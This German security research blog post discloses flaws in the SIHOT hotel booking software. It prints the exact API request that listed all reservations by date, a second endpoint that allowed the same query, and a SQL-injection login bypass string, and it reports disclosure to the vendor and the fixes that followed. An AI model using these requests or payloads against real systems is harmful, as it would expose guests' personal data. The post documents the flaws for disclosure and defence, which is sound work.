zerforschung

Suche Entspannung, finde Datenleck

Wed, 08 Oct 2025 20:15:00 +0200

Hotels stehen für Schlaf, Urlaub, Reisen – und wohl auch für Datenlecks. Erneut haben wir eine Sicherheitslücke bei einer Hotelsoftware gefunden, diesmal mit vielen Millionen Betroffenen aus den letzten 10 Jahren. Mit dabei: ein saarländischer Softwareanbieter, eine Münchner Motel-Kette und (wie immer) ein zählendes Zerforschi.

Die Kurzfassung vorab:
Wir haben eine Reihe von Sicherheitslücken in SIHOT.WEB und SIHOT.GO! gefunden, die Zugriff auf die Reservierungs- und Gästedaten im System erlaubten.

Betroffen waren unter anderem die DJH-Jugendherbergen in Mecklenburg-Vorpommern, Rheinland-Pfalz und dem Saarland, die Arbeiterwohlfahrtstochter AWO SANO, Motel One, der DeHoGa-Campus und eine Reihe von Hotelketten mit Namen wie “Fidelis” und “GSH”.

Dabei wären nach unserer Schätzung insgesamt mehr als 35,5 Mio. Reservierungen und 48,5 Mio. Gästeprofile abrufbar gewesen. Alleine bei Motel One hätten damit schätzungsweise über 30 Mio. Reservierungen und mehr als 40 Mio. Gästeprofile abgerufen werden können, darunter auch Spitzenpolitiker*innen.

Doch was genau ist passiert?

Guten Tag, welchen Datenhaufen haben Sie reserviert?

Wer Hotels managen will, hat viel zu tun: Gäste wollen eine Übernachtung buchen, irgendwann anreisen und einchecken, ein geputzes Zimmer betreten und sich ins bezogene Bett fallen lassen. Um das alles zu organisieren, gibt es digitale Verwaltungssoftware – wie die der GUBSE AG aus Schiffweiler im Saarland.

Die bieten mit SIHOT eine ganze Hotelmanagement-Software-Suite an, die aus vielen verschiedenen Teilen besteht. Dazu gehören auch die Buchungsplattform SIHOT.WEB, über die Gäste ein Zimmer buchen können und eine Web-App für die Gäste namens SIHOT.GO, damit man auch alles bequem auf dem Handy machen kann.

Doch eine Hotelsoftware wäre nichts ohne Hotels, die sie nutzen. Und von denen kann SIHOT gleich eine ganze Reihe vorweisen: die DJH-Jugendherbergen in Mecklenburg-Vorpommern, Rheinland-Pfalz und dem Saarland, die Arbeiterwohlfahrtstochter AWO SANO, Motel One¹, der DeHoGa-Campus und eine Reihe von Hotelketten mit Namen wie “Fidelis” und “GSH”.

In einem dieser Hotels wollte auch ein kleines, müdes Zerforschi 😴 übernachten und sich endlich mal erholen. Gesagt, getan und auf der Hotelwebsite in die Buchungsmaske geklickt, Zimmer ausgesucht, Name und Kreditkartendaten eingegeben und zack das wars auch schon.

Aber als gute Zerforschis haben wir natürlich schon laaaaaange vorher die Entwicklungstools unseres Browsers geöffnet 👩‍🔬. Die protokollieren unter anderem die ganze Zeit mit, welche Daten die Website an ihre Server sendet.

Denn uns interessiert stets, wie eine Software eigentlich gebaut ist, die wir nutzen.

Das ist ungefähr so wie kochbegeisterte Menschen durch die Welt gehen: Wer ein Essen besonders lecker findet, fragt auch mal im Restaurant nach, wie genau es zubereitet wurde. Genauso geht es IT-Interessierten, wenn sie unterwegs sind: Wie ist eigentlich die technische Umgebung gestaltet? Wie genau funktioniert dieses System? Und welche Sprache spricht dieser Server?

Und so schauen wir uns auch dieses Mal um, was so passiert auf der Plattform von SIHOT. Die Buchungsseite ist meist eine unter booking.sihot.com gehostete Web-App. Dabei hat jede Hotel(kette) eine eigene Client-ID, die auch Bestandteil der URL ist – vollständig findet sich die Buchungsseite also unter https://booking.sihot.com/{CLIENT_ID}/client/. Um Informationen zu unserer Buchung abzurufen, kommuniziert die Website mit dem Buchungsserver über den API-Endpunkt https://booking.sihot.com/{CLIENT_ID}/dataServlet.

Mein Name ist forschi, ich checke hier ein

Wenn wir unsere Reservierung nochmal aufrufen (Frühstück wäre doch was Feines – schnell dazubuchen!), fragt die Website beim Server nach, welche Infos es denn zu unserer Reservierungsnummer gibt. Klar, wenn man ins Hotel geht, muss man ja auch seinen Namen sagen, damit die Mitarbeiter*innen an der Rezeption die Reservierung finden können. Wenn die Website nachfragt, sieht das etwa so aus (nur dass statt dem geschwärzten Block unsere Reservierungsnummer steht):

{
  "SIHOT_DOCUMENT": {
    "OC": "RES-SEARCH",
    "TN": 1,
    "ID": 1,
    "GDSNO": "█████████",
    "SCOPE": "NOTIMESHARE;NORESCHANNELS;NOCCLIST;NODEPOSIT"
  }
}

Der Server antwortet dann brav mit allen Infos zu unserer Reservierung. Name, Check-In- und Check-Out-Datum, E-Mail-Adresse, Postadresse, Preis, Sonderwünsche, alles korrekt.

Beispielhafte, sehr lange, Antwort des Servers (Klicken zum Ausklappen)

{
	"SIHOT_Document": {
		"MSG": "",
		"SIHOT_Version": {
		"EXE": "S:&#92;SIHOT&#92;SINETRES.EXE",
		"Version": "1100.05.00.0244"
		},
		"RC": "0",
		"ARESLIST": {
		"RESERVATION":
			{
			"TAX_NUMBER1": "",
			"ZIP": "███",
			"PICKUP_NAME_DEPARTURE": "",
			"TAX_NUMBER2": "",
			"TAX_NUMBER3": "",
			"RES_NR": "██████",
			"PICKUP_ZIPCODE_ARRIVAL": "",
			"NAME_CORRESPONDENCE": "",
			"CANCELLATION_POLICY_DESC": "███████████",
			"EXT_KEY": "",
			"LAST_MOD": "██-█-█",
			"LAST_MOD_BY_RU": "███",
			"PICKUP_COMMENT_ARRIVAL": "",
			"PICKUP_AMOUNTCHILDREN_DEPARTURE": "0",
			"PICKUP_COMMENT_DEPARTURE": "",
			"DOB": "",
			"NIGHTS": "2",
			"PERSON": {
				"ZIP": "████",
				"ISO_LANG": "█",
				"PICKUP_NAME_DEPARTURE": "",
				"PICKUP_ZIPCODE_ARRIVAL": "",
				"NUMBEROFCHILDREN": "0",
				"NAME_CORRESPONDENCE": "",
				"IDENTIFICATION_NO": "",
				"PICKUP_COUNTRY_ARRIVAL": "",
				"FB_COMMENT": "",
				"PICKUP_AMOUNTADULTS_DEPARTURE": "0",
				"DOCUMENT_SUBNR": "",
				"PICKUP_TIME_DEPARTURE": "",
				"EMAIL": "███@████████",
				"PICKUP_COMMENT_ARRIVAL": "",
				"PICKUP_AMOUNTCHILDREN_DEPARTURE": "0",
				"PICKUP_COMMENT_DEPARTURE": "",
				"DOCUMENT_EXPEDITIONCOUNTRY": "",
				"NATION": "DE",
				"STATUS": "R",
				"COUNTRY": "DE",
				"PICKUP_PARAMETERS_ARRIVAL": "0",
				"DOB": "",
				"SALES_CATEGORY": "",
				"PLACE_OF_BIRTH": "",
				"ADDRESS_CORRESPONDENCE": "",
				"PICKUP_AMOUNTCHILDSEATS_ARRIVAL": "0",
				"PICKUP_ZIPCODE_DEPARTURE": "",
				"CENTRALGUEST_ID": "0",
				"ROOM_PERS_SEQ": "0",
				"MATCHCODE": "",
				"PICKUP_TYPE_ARRIVAL": "",
				"PICKUP_NAME_ARRIVAL": "",
				"INTERNET_PWD": "",
				"PICKUP_CITY_DEPARTURE": "",
				"NAME": "█████",
				"PICKUP_AMOUNTADULTS_ARRIVAL": "0",
				"PERS_TYPE": "██",
				"ADDRESS": "",
				"CAT": "██",
				"PICKUP_STREET_ARRIVAL": "",
				"RN": "",
				"ROOM_SEQ": "0",
				"PICKUP_TIME_ARRIVAL": "",
				"COUNTRY_CODE": "DE",
				"DOCUMENT_NUMBER": "",
				"NAME1X": "",
				"ARR": "██-█-█",
				"PICKUP_AMOUNTBAGGAGE_DEPARTURE": "0",
				"DOCUMENT_SUBNR2": "",
				"PCAT": "██",
				"DOCUMENT_EXPIREDATE": "",
				"SEX": "0",
				"DOCUMENT_EXPEDITIONDATE": "",
				"PHONE": "49 ██████",
				"GUEST_TYPE": "1",
				"PICKUP_AMOUNTCHILDSEATS_DEPARTURE": "0",
				"STATE": "",
				"PICKUP_COUNTRY_DEPARTURE": "",
				"LANG": "DE",
				"EXT_REFERENCE": "███████",
				"COMMENT": "",
				"VOUCHERNUMBER": "",
				"PICKUP_PARAMETERS_DEPARTURE": "0",
				"T_SPECIAL_MEAL": "",
				"GUEST_BRACELET_CONSENT": "FALSE",
				"NUMBEROFPERSONS": "1",
				"PICKUP_AMOUNTCHILDREN_ARRIVAL": "0",
				"CREDITALLOWED": "TRUE",
				"PERS_ADDRESS": "",
				"DOCUMENT_TYPE": "",
				"PERS_RATE": {
				"R": "██",
				"ISDEFAULT": "Y",
				"QUANTITY": "1",
				"GUEST_RATE_TYPES": {
					"GUEST_RATE_TYPE": {
					"GUEST_RATE_TYPE_DESC": "█████████",
					"GUEST_RATE_TYPE_KEY": "████████"
					}
				},
				"RATE_SEGMENT": "",
				"DAYS": [
					{
					"PRICE_TOTAL": "██",
					"D": "██-█-█",
					"PRICE": "██"
					},
					{
					"PRICE_TOTAL": "██",
					"D": "██-█-█",
					"PRICE": "██"
					}
				],
				"ISPACKAGE": "Y",
				"ISPROTECTED": "N"
				},
				"COUNTRY_OF_BIRTH": "",
				"MATCHCODE_ADM": "",
				"MATCHCODE_SM": "",
				"PICKUP_TYPE_DEPARTURE": "",
				"PO_BOX": "",
				"PICKUP_AMOUNTBAGGAGE_ARRIVAL": "0",
				"PICKUP_CITY_ARRIVAL": "",
				"STREET": "██████ ██",
				"NAME2": "████",
				"DEP": "██-█-█",
				"CITY": "█████",
				"CITY2": "",
				"INSURANCETYPE": "",
				"POST_AREA": "",
				"TITLE": "",
				"PICKUP_STREET_DEPARTURE": "",
				"FAX": "",
				"VIP": "",
				"VIP2": "",
				"KITCHEN_COMMENT": ""
			},
			"ADDRESS_CORRESPONDENCE": "",
			"PICKUP_ZIPCODE_DEPARTURE": "",
			"AEXTIDLIST": {
				"EXTID": [
				{
					"ID": "███████",
					"TYPE": "UIT_OTHER"
				},
				{
					"ID": "██████████",
					"TYPE": "UIT_TRAVEL_AGENT_PNR"
				}
				]
			},
			"NOROOMS": "1",
			"ROOMINGLIST_STATISTICS": {
				"PERSONNIGHTS": "2",
				"NOADULDS": "1",
				"NOCHILDSFREE": "0",
				"ROMMINGLISTISCOMPLETE": "Y",
				"NOADULDSFREE": "0",
				"ROOMNIGHTS": "2",
				"NOCHILDS": "0"
			},
			"SUB_NR": "1",
			"EMAIL2": "",
			"PICKUP_TYPE_ARRIVAL": "",
			"PICKUP_NAME_ARRIVAL": "",
			"EMAIL1": "███@████████",
			"ARR_TIME": "",
			"PROMOCODE": "",
			"TEC_COMMENT": "██████████████████████████████████████████",
			"CHANNEL": "",
			"PERS_TYPE": "█",
			"SALES_DATE": "██-█-█",
			"RATE_SEGMENT": "",
			"SOURCE": "█",
			"PICKUP_STREET_ARRIVAL": "",
			"PHONE2": "",
			"PHONE1": "49 ███████",
			"GUARANTEE_TYPE_DESC": "",
			"PICKUP_TIME_ARRIVAL": "",
			"COUNTRY_CODE": "DE",
			"GUARANTEE_TYPE": "",
			"DOCUMENT_NUMBER": "",
			"ARR": "██-█-█",
			"RT": "1",
			"INVOICE_EMAIL": "",
			"PCAT": "██",
			"DOCUMENT_SUBNR2": "",
			"DOCUMENT_EXPEDITIONDATE": "",
			"GUEST_TYPE": "1",
			"SEX": "█",
			"OBJID": "█████",
			"COMMENT": "███████████████",
			"PICKUP_PARAMETERS_DEPARTURE": "0",
			"CENTRAL_RESERVATION_ID": "0",
			"MOBIL2": "",
			"T_CALC_COMMISSION": "1",
			"DISABLE_DEPOSIT": "N",
			"MOBIL1": "",
			"NOPAX": "1",
			"PERS_ADDRESS": "",
			"OUTPUTCOUNTER": "0",
			"CANCELLATION_POLICY": "J",
			"GDSNO": "█████████████",
			"MATCHCODE_SM": "",
			"PO_BOX": "",
			"ALLOTMENT_NO": "0",
			"LAST_MOD_RU": "██-█-█",
			"STREET": "██████ ██",
			"NAME2": "████",
			"A_USERFIELD_LIST": "",
			"RES_HOTEL": "█",
			"COMMISSION": {
				"TOTAL": "0",
				"PC": "0",
				"SID": ""
			},
			"LAST_MOD_BY": "██",
			"NN2": "",
			"CITY": "██",
			"INSURANCETYPE": "",
			"PICKUP_STREET_DEPARTURE": "",
			"ISO_LANG": "de",
			"CREATION_TIME": "█:█:█",
			"IDENTIFICATION_NO": "",
			"PICKUP_COUNTRY_ARRIVAL": "",
			"GUEST_OBJID": "████",
			"PICKUP_AMOUNTADULTS_DEPARTURE": "0",
			"DOCUMENT_SUBNR": "",
			"PICKUP_TIME_DEPARTURE": "",
			"DISCOUNT_GROUP": "",
			"NATION": "DE",
			"DOCUMENT_EXPEDITIONCOUNTRY": "",
			"APERS_TYPE_LIST": {
				"PERS_TYPE": {
				"NO": "1",
				"TYPE": "█"
				}
			},
			"COUNTRY": "DE",
			"PICKUP_PARAMETERS_ARRIVAL": "0",
			"MEDIA": "█",
			"SALES_CATEGORY": "",
			"CREATED_BY": "███",
			"MARKETCODE": "██",
			"IS_LOCKED": "N",
			"PRICE": "██",
			"PICKUP_AMOUNTCHILDSEATS_ARRIVAL": "0",
			"CREATION_DATE": "██-█-█",
			"CENTRALGUEST_ID": "0",
			"MATCHCODE": "",
			"ASSIGNED_TO": "",
			"INTERNET_PWD": "",
			"PICKUP_CITY_DEPARTURE": "",
			"NAME": "███",
			"PICKUP_AMOUNTADULTS_ARRIVAL": "0",
			"CAT": "██",
			"POINTS_LIST": "",
			"ADDRESS": "",
			"NN": "",
			"OPTIONUNTIL": "",
			"NAME1X": "",
			"PICKUP_AMOUNTBAGGAGE_DEPARTURE": "0",
			"DOCUMENT_EXPIREDATE": "",
			"ISOVERBOOKED": "N",
			"RATE": {
				"CURRENCY": "EUR",
				"R": "██",
				"ISDEFAULT": "Y",
				"PRICE": "██",
				"QUANTITY": "1",
				"GUEST_RATE_TYPES": {
				"GUEST_RATE_TYPE": {
					"GUEST_RATE_TYPE_DESC": "█████████",
					"GUEST_RATE_TYPE_KEY": "██████"
				}
				},
				"RATE_SEGMENT": "",
				"DAYS": [
				{
					"PRICE_TOTAL": "██",
					"D": "██-█-█",
					"PRICE": "██"
				},
				{
					"PRICE_TOTAL": "██",
					"D": "██-█-█",
					"PRICE": "██"
				}
				],
				"ISPACKAGE": "Y",
				"PRICE_CUR": "██"
			},
			"PICKUP_AMOUNTCHILDSEATS_DEPARTURE": "0",
			"STATE": "",
			"PICKUP_COUNTRY_DEPARTURE": "",
			"EXT_REFERENCE": "",
			"LANG": "DE",
			"VOUCHERNUMBER": "",
			"WEB_PRE_CHECKIN": "N",
			"ISBUMPEDOUT": "N",
			"PICKUP_AMOUNTCHILDREN_ARRIVAL": "0",
			"INVOICEHOLDER_LIST": "",
			"DEFAULTPAYMENTTYPE": {
				"PAYMENTTYPE": "",
				"CCLIST": {
				"CCHANDLE": "",
				"CCNO": ""
				}
			},
			"DOCUMENT_TYPE": "",
			"DEP_TIME": "",
			"CURRENCY": "EUR",
			"T_POST_COMMISSION": "1",
			"PICKUP_TYPE_DEPARTURE": "",
			"T_TITLE": "",
			"PICKUP_AMOUNTBAGGAGE_ARRIVAL": "0",
			"PICKUP_CITY_ARRIVAL": "",
			"DEP": "██-█-█",
			"FAX1": "",
			"CITY2": "",
			"FAX2": "",
			"EXTCOMMENT_C": "",
			"POST_AREA": "",
			"VIP": "",
			"VIP2": ""
			}
		},
		"OC": "RES-SEARCH",
		"TN": "████████████",
		"SIHOT_PROPERTY": {
		"UUID": "████-██-██-██-███████",
		"NAME": "█████████████████"
		}
	}
}

Doch wir sehen schnell, dass wir die Reservierungsnummer gar nicht bräuchten, denn der Endpunkt akzeptiert auch andere Suchparameter².

Statt der Reservierungsnummer können wir auch angeben, wann wir in dem Hotel sind und bekommen… eine Liste aller Reservierungen an diesem Datum.

{
  "SIHOT_DOCUMENT": {
    "OC": "RES-SEARCH",
    "TN": 1,
    "ID": 1,
    "FROM": "2025-01-01",
    "TO": "2025-01-01",
    "SCOPE": "NOTIMESHARE;NORESCHANNELS;NOCCLIST;NODEPOSIT"
  }
}

Das ist in etwa so als würden wir an der Hotel-Rezeption statt unserem Namen einfach selbstbewusst »Ich übernachte heute hier!« sagen und als Antwort bekämen wir einen großen Aktenordner mit allen Buchungen von heute. »Suchen sie sich kurz selbst Ihre Buchung raus, ja?«

Das heißt: Der Zugriff auf sämtliche im Buchungssystem gespeicherten Daten ist für alle Neugierigen mit grundlegendem technischen Verständnis möglich. Und zwar nicht nur für Buchungen, die direkt über die Buchungsplattform SIHOT.WEB gebucht wurden, sondern alle Buchungen, die das System kennt. Dort sind auch die Buchungen enthalten, die das Hotelpersonal selbst einträgt - aber auch Buchungen, die über Drittanbieter und Portale wie Expedia, Booking.com oder Reiseagenturen ins System gelangen.

Außerdem geht das nicht nur mit den Buchungen von heute, sondern viele Jahre zurück, teilweise sogar bis 2005.

Würde uns in einem Hotel so bereitwillig der Reservierungsordner in die Hand gedrückt, würden wir vermutlich lautstark darauf hinweisen, dass die Rezeption eeetwas zu lax mit den Buchungsinfos umgeht. Und so machen wir es auch hier: Wir schreiben alles fein säuberlich auf und sagen der GUBSE AG, die diese Software entwickelt, Bescheid. So eine leicht zu findende und gleichzeitig gefährliche Sicherheitslücke sollte schließlich gar nicht existieren, aber jetzt auf jeden Fall schnell geschlossen werden.

Die Reaktion des Unternehmen kommt auch prompt: Nach weniger als 36 Stunden antwortet uns das Unternehmen, dankt für die Meldung und sagt, dass die Lücke bereits fast überall geschlossen ist und in wenigen Stunden überall geschlossen sein wird.

Wie sieht es wohl in den anderen Zimmern aus?

Eigentlich könnte unser Ausflug hier zu Ende sein: Wir sind mal wieder über eine Lücke gestolpert, haben sie gemeldet und der Hersteller hat sie behoben. Dann können wir uns ja jetzt wirklich endlich in unser Bett legen und entspannen, oder?

Leider nicht, denn das ist nicht die einzige Lücke bei SIHOT, über die wir gestolpert sind. Die Anderen gibt es jetzt im Schnelldurchlauf. 🏃💨

Und wer die gruseligen Details garnicht alle sehen will, kann hier zum Abschnitt danach springen

Wir sind Admin in Rheinland-Pfalz, dem Saarland und Berlin

Eine wohl ziemlich alte Version von SIHOT.WEB nutzen dieJugendherbergen, der Zusammenschluss der DJH-Jugendherbergen in Rheinland-Pfalz, dem Saarland - und Berlin-Ostkreuz.

Diese Version ist nicht nur ziemlich alt, sondern auch reichlich unsicher. Durch eine SQL-Injection kann sich jede*r als Admin einloggen. Einfach als Login ' OR 1=1 -- ' sowie ein beliebiges Passwort eingeben und schon ist man erfolgreich angemeldet – und kann tun, was ein Admin halt so tun kann, nämlich: alles. So lassen sich auch dort Name, Adresse, E-Mail-Adresse, Telefonnummer, Preise und die Namen aller Gäste abrufen.

Nach der Meldung hat die GUBSE AG die Jugendherbergen über die Sicherheitslücke informiert und den verwundbaren Teil des Portals abgeschaltet.

Habt ihr nicht jemanden vergessen?

Das Unternehmen versichert uns, dass die Lücke in der Reservierungssuche überall geschlossen ist. Überall? Nein, ~~ein kleines gallisches Dorf~~ eine riesige Münchner Hotel-Kette ist weiter verwundbar.

Denn auch Motel One nutzt SIHOT.WEB. Zwar nutzt Motel One für die Online-Buchung ein anderes, moderner aussehendes System, doch unter https://paymentservice.motel-one.com/SIHOTWeb/client/ findet sich trotzdem eine SIHOT.WEB-Instanz, auf der die Lücken weiterhin bestehen. Mit gravierenden Auswirkungen: Nach unseren Schätzungen waren hier über 30 Mio. Reservierungen abrufbar.

Nachdem wir den Hersteller auch darauf hingewiesen haben, wurde die Lücke am nächsten Tag auch dort geschlossen.

Ich hätte gerne das gleiche Zimmer nochmal

Die Buchungsplattform SIHOT.WEB kommuniziert nicht nur über den Endpunkt dataServlet mit dem Server, sondern auch über einen zweiten Endpunkt namens reservationServlet. Die Anfragen an diesen sehen fast identisch aus, wie die an den dataServlet-Endpunkt. Und obwohl das Unternehmen uns versichert hat, dass die Lücke geschlossen sei, konnte die gleiche Anfrage hier erneut gestellt werden, wir mussten sie nur etwas mehr verpacken:

{
  "PMS_REQUEST": {
    "SIHOT_DOCUMENT": {
      "OC": "RES-SEARCH",
      "TN": 1,
      "ID": 1,
      "FROM": "2025-01-01",
      "TO": "2025-01-01",
    }
  },
  "OP_DATA": {
    "TOTAL": 0,
    "PAYMENT_TYPE": "",
    "ID": ""
  }
}

Und zurück kommt die gleiche Liste mit Reservierungen, mit den gleichen Daten, nur ebenfalls etwas mehr verpackt:

Beispielhafte Antwort des Servers (Klicken zum Ausklappen)

{
  "TOKEN_RESPONSE": {
    "status": -1
  },
  "ONLINE_PAYMENT": {
    "amount": 0,
    "status": -1
  },
  "PAYMENT_REVERSE": {
    "rc": 0,
    "status": -1
  },
  "RESERVATION_RESPONSE": {
    "SIHOT_Document": {
      "MSG": "",
      "SIHOT_Version": {
        "EXE": "S:&#92;SIHOT&#92;SINETRES.EXE",
        "Version": "1100.05.00.0244"
      },
      "RC": "0",
      "ARESLIST": {
        "RESERVATION": [
          {
            "TAX_NUMBER1": "",
            "ZIP": "███",
            "PICKUP_NAME_DEPARTURE": "",
            "TAX_NUMBER2": "",
            "TAX_NUMBER3": "",
            "RES_NR": "██████",
            "PICKUP_ZIPCODE_ARRIVAL": "",
            "NAME_CORRESPONDENCE": "",
            "CANCELLATION_POLICY_DESC": "███████████",
            "EXT_KEY": "",
            "LAST_MOD": "██-█-█",
            "LAST_MOD_BY_RU": "███",
            "PICKUP_COMMENT_ARRIVAL": "",
            "PICKUP_AMOUNTCHILDREN_DEPARTURE": "0",
            "PICKUP_COMMENT_DEPARTURE": "",
            "DOB": "",
            "NIGHTS": "2",
            "PERSON": {
              "ZIP": "████",
              "ISO_LANG": "█",
              "PICKUP_NAME_DEPARTURE": "",
              "PICKUP_ZIPCODE_ARRIVAL": "",
              "NUMBEROFCHILDREN": "0",
              "NAME_CORRESPONDENCE": "",
              "IDENTIFICATION_NO": "",
              "PICKUP_COUNTRY_ARRIVAL": "",
              "FB_COMMENT": "",
              "PICKUP_AMOUNTADULTS_DEPARTURE": "0",
              "DOCUMENT_SUBNR": "",
              "PICKUP_TIME_DEPARTURE": "",
              "EMAIL": "███@████████",
              "PICKUP_COMMENT_ARRIVAL": "",
              "PICKUP_AMOUNTCHILDREN_DEPARTURE": "0",
              "PICKUP_COMMENT_DEPARTURE": "",
              "DOCUMENT_EXPEDITIONCOUNTRY": "",
              "NATION": "DE",
              "STATUS": "R",
              "COUNTRY": "DE",
              "PICKUP_PARAMETERS_ARRIVAL": "0",
              "DOB": "",
              "SALES_CATEGORY": "",
              "PLACE_OF_BIRTH": "",
              "ADDRESS_CORRESPONDENCE": "",
              "PICKUP_AMOUNTCHILDSEATS_ARRIVAL": "0",
              "PICKUP_ZIPCODE_DEPARTURE": "",
              "CENTRALGUEST_ID": "0",
              "ROOM_PERS_SEQ": "0",
              "MATCHCODE": "",
              "PICKUP_TYPE_ARRIVAL": "",
              "PICKUP_NAME_ARRIVAL": "",
              "INTERNET_PWD": "",
              "PICKUP_CITY_DEPARTURE": "",
              "NAME": "█████",
              "PICKUP_AMOUNTADULTS_ARRIVAL": "0",
              "PERS_TYPE": "██",
              "ADDRESS": "",
              "CAT": "██",
              "PICKUP_STREET_ARRIVAL": "",
              "RN": "",
              "ROOM_SEQ": "0",
              "PICKUP_TIME_ARRIVAL": "",
              "COUNTRY_CODE": "DE",
              "DOCUMENT_NUMBER": "",
              "NAME1X": "",
              "ARR": "██-█-█",
              "PICKUP_AMOUNTBAGGAGE_DEPARTURE": "0",
              "DOCUMENT_SUBNR2": "",
              "PCAT": "██",
              "DOCUMENT_EXPIREDATE": "",
              "SEX": "0",
              "DOCUMENT_EXPEDITIONDATE": "",
              "PHONE": "49 ██████",
              "GUEST_TYPE": "1",
              "PICKUP_AMOUNTCHILDSEATS_DEPARTURE": "0",
              "STATE": "",
              "PICKUP_COUNTRY_DEPARTURE": "",
              "LANG": "DE",
              "EXT_REFERENCE": "███████",
              "COMMENT": "",
              "VOUCHERNUMBER": "",
              "PICKUP_PARAMETERS_DEPARTURE": "0",
              "T_SPECIAL_MEAL": "",
              "GUEST_BRACELET_CONSENT": "FALSE",
              "NUMBEROFPERSONS": "1",
              "PICKUP_AMOUNTCHILDREN_ARRIVAL": "0",
              "CREDITALLOWED": "TRUE",
              "PERS_ADDRESS": "",
              "DOCUMENT_TYPE": "",
              "PERS_RATE": {
                "R": "██",
                "ISDEFAULT": "Y",
                "QUANTITY": "1",
                "GUEST_RATE_TYPES": {
                  "GUEST_RATE_TYPE": {
                    "GUEST_RATE_TYPE_DESC": "█████████",
                    "GUEST_RATE_TYPE_KEY": "████████"
                  }
                },
                "RATE_SEGMENT": "",
                "DAYS": [
                  {
                    "PRICE_TOTAL": "██",
                    "D": "██-█-█",
                    "PRICE": "██"
                  },
                  {
                    "PRICE_TOTAL": "██",
                    "D": "██-█-█",
                    "PRICE": "██"
                  }
                ],
                "ISPACKAGE": "Y",
                "ISPROTECTED": "N"
              },
              "COUNTRY_OF_BIRTH": "",
              "MATCHCODE_ADM": "",
              "MATCHCODE_SM": "",
              "PICKUP_TYPE_DEPARTURE": "",
              "PO_BOX": "",
              "PICKUP_AMOUNTBAGGAGE_ARRIVAL": "0",
              "PICKUP_CITY_ARRIVAL": "",
              "STREET": "██████ ██",
              "NAME2": "████",
              "DEP": "██-█-█",
              "CITY": "█████",
              "CITY2": "",
              "INSURANCETYPE": "",
              "POST_AREA": "",
              "TITLE": "",
              "PICKUP_STREET_DEPARTURE": "",
              "FAX": "",
              "VIP": "",
              "VIP2": "",
              "KITCHEN_COMMENT": ""
            },
            "ADDRESS_CORRESPONDENCE": "",
            "PICKUP_ZIPCODE_DEPARTURE": "",
            "AEXTIDLIST": {
              "EXTID": [
                {
                  "ID": "███████",
                  "TYPE": "UIT_OTHER"
                },
                {
                  "ID": "██████████",
                  "TYPE": "UIT_TRAVEL_AGENT_PNR"
                }
              ]
            },
            "NOROOMS": "1",
            "ROOMINGLIST_STATISTICS": {
              "PERSONNIGHTS": "2",
              "NOADULDS": "1",
              "NOCHILDSFREE": "0",
              "ROMMINGLISTISCOMPLETE": "Y",
              "NOADULDSFREE": "0",
              "ROOMNIGHTS": "2",
              "NOCHILDS": "0"
            },
            "SUB_NR": "1",
            "EMAIL2": "",
            "PICKUP_TYPE_ARRIVAL": "",
            "PICKUP_NAME_ARRIVAL": "",
            "EMAIL1": "███@████████",
            "ARR_TIME": "",
            "PROMOCODE": "",
            "TEC_COMMENT": "██████████████████████████████████████████",
            "CHANNEL": "",
            "PERS_TYPE": "█",
            "SALES_DATE": "██-█-█",
            "RATE_SEGMENT": "",
            "SOURCE": "█",
            "PICKUP_STREET_ARRIVAL": "",
            "PHONE2": "",
            "PHONE1": "49 ███████",
            "GUARANTEE_TYPE_DESC": "",
            "PICKUP_TIME_ARRIVAL": "",
            "COUNTRY_CODE": "DE",
            "GUARANTEE_TYPE": "",
            "DOCUMENT_NUMBER": "",
            "ARR": "██-█-█",
            "RT": "1",
            "INVOICE_EMAIL": "",
            "PCAT": "██",
            "DOCUMENT_SUBNR2": "",
            "DOCUMENT_EXPEDITIONDATE": "",
            "GUEST_TYPE": "1",
            "SEX": "█",
            "OBJID": "█████",
            "COMMENT": "███████████████",
            "PICKUP_PARAMETERS_DEPARTURE": "0",
            "CENTRAL_RESERVATION_ID": "0",
            "MOBIL2": "",
            "T_CALC_COMMISSION": "1",
            "DISABLE_DEPOSIT": "N",
            "MOBIL1": "",
            "NOPAX": "1",
            "PERS_ADDRESS": "",
            "OUTPUTCOUNTER": "0",
            "CANCELLATION_POLICY": "J",
            "GDSNO": "█████████████",
            "MATCHCODE_SM": "",
            "PO_BOX": "",
            "ALLOTMENT_NO": "0",
            "LAST_MOD_RU": "██-█-█",
            "STREET": "██████ ██",
            "NAME2": "████",
            "A_USERFIELD_LIST": "",
            "RES_HOTEL": "█",
            "COMMISSION": {
              "TOTAL": "0",
              "PC": "0",
              "SID": ""
            },
            "LAST_MOD_BY": "██",
            "NN2": "",
            "CITY": "██",
            "INSURANCETYPE": "",
            "PICKUP_STREET_DEPARTURE": "",
            "ISO_LANG": "de",
            "CREATION_TIME": "█:█:█",
            "IDENTIFICATION_NO": "",
            "PICKUP_COUNTRY_ARRIVAL": "",
            "GUEST_OBJID": "████",
            "PICKUP_AMOUNTADULTS_DEPARTURE": "0",
            "DOCUMENT_SUBNR": "",
            "PICKUP_TIME_DEPARTURE": "",
            "DISCOUNT_GROUP": "",
            "NATION": "DE",
            "DOCUMENT_EXPEDITIONCOUNTRY": "",
            "APERS_TYPE_LIST": {
              "PERS_TYPE": {
                "NO": "1",
                "TYPE": "█"
              }
            },
            "COUNTRY": "DE",
            "PICKUP_PARAMETERS_ARRIVAL": "0",
            "MEDIA": "█",
            "SALES_CATEGORY": "",
            "CREATED_BY": "███",
            "MARKETCODE": "██",
            "IS_LOCKED": "N",
            "PRICE": "██",
            "PICKUP_AMOUNTCHILDSEATS_ARRIVAL": "0",
            "CREATION_DATE": "██-█-█",
            "CENTRALGUEST_ID": "0",
            "MATCHCODE": "",
            "ASSIGNED_TO": "",
            "INTERNET_PWD": "",
            "PICKUP_CITY_DEPARTURE": "",
            "NAME": "███",
            "PICKUP_AMOUNTADULTS_ARRIVAL": "0",
            "CAT": "██",
            "POINTS_LIST": "",
            "ADDRESS": "",
            "NN": "",
            "OPTIONUNTIL": "",
            "NAME1X": "",
            "PICKUP_AMOUNTBAGGAGE_DEPARTURE": "0",
            "DOCUMENT_EXPIREDATE": "",
            "ISOVERBOOKED": "N",
            "RATE": {
              "CURRENCY": "EUR",
              "R": "██",
              "ISDEFAULT": "Y",
              "PRICE": "██",
              "QUANTITY": "1",
              "GUEST_RATE_TYPES": {
                "GUEST_RATE_TYPE": {
                  "GUEST_RATE_TYPE_DESC": "█████████",
                  "GUEST_RATE_TYPE_KEY": "██████"
                }
              },
              "RATE_SEGMENT": "",
              "DAYS": [
                {
                  "PRICE_TOTAL": "██",
                  "D": "██-█-█",
                  "PRICE": "██"
                },
                {
                  "PRICE_TOTAL": "██",
                  "D": "██-█-█",
                  "PRICE": "██"
                }
              ],
              "ISPACKAGE": "Y",
